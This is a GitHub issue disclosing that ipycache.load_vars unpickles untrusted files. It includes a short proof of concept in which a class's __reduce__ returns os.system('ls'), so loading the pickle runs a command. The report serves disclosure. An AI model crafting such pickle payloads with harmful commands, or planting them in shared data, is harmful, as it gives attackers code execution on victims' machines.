Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ipycache.load_vars method is vulnerable #47

Open
bigbigliang-malwarebenchmark opened this issue Feb 11, 2019 · 0 comments

Comments

@bigbigliang-malwarebenchmark
Copy link

commented Feb 11, 2019

import os
import pickle
import ipycache

class Test(object):

def __init__(self):
    self.a = 1

def __reduce__(self):
    return (os.system,('ls',))

tmpdaa = Test()
with open("a-file.pickle",'wb') as f:

pickle.dump(tmpdaa,f)

ipycache.load_vars('a-file.pickle','')

Hi,ipycache.load_vars function with evil data will cause command execution,if attack share evil data on internet,when user load it , it will cause command execution.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
1 participant
You can’t perform that action at this time.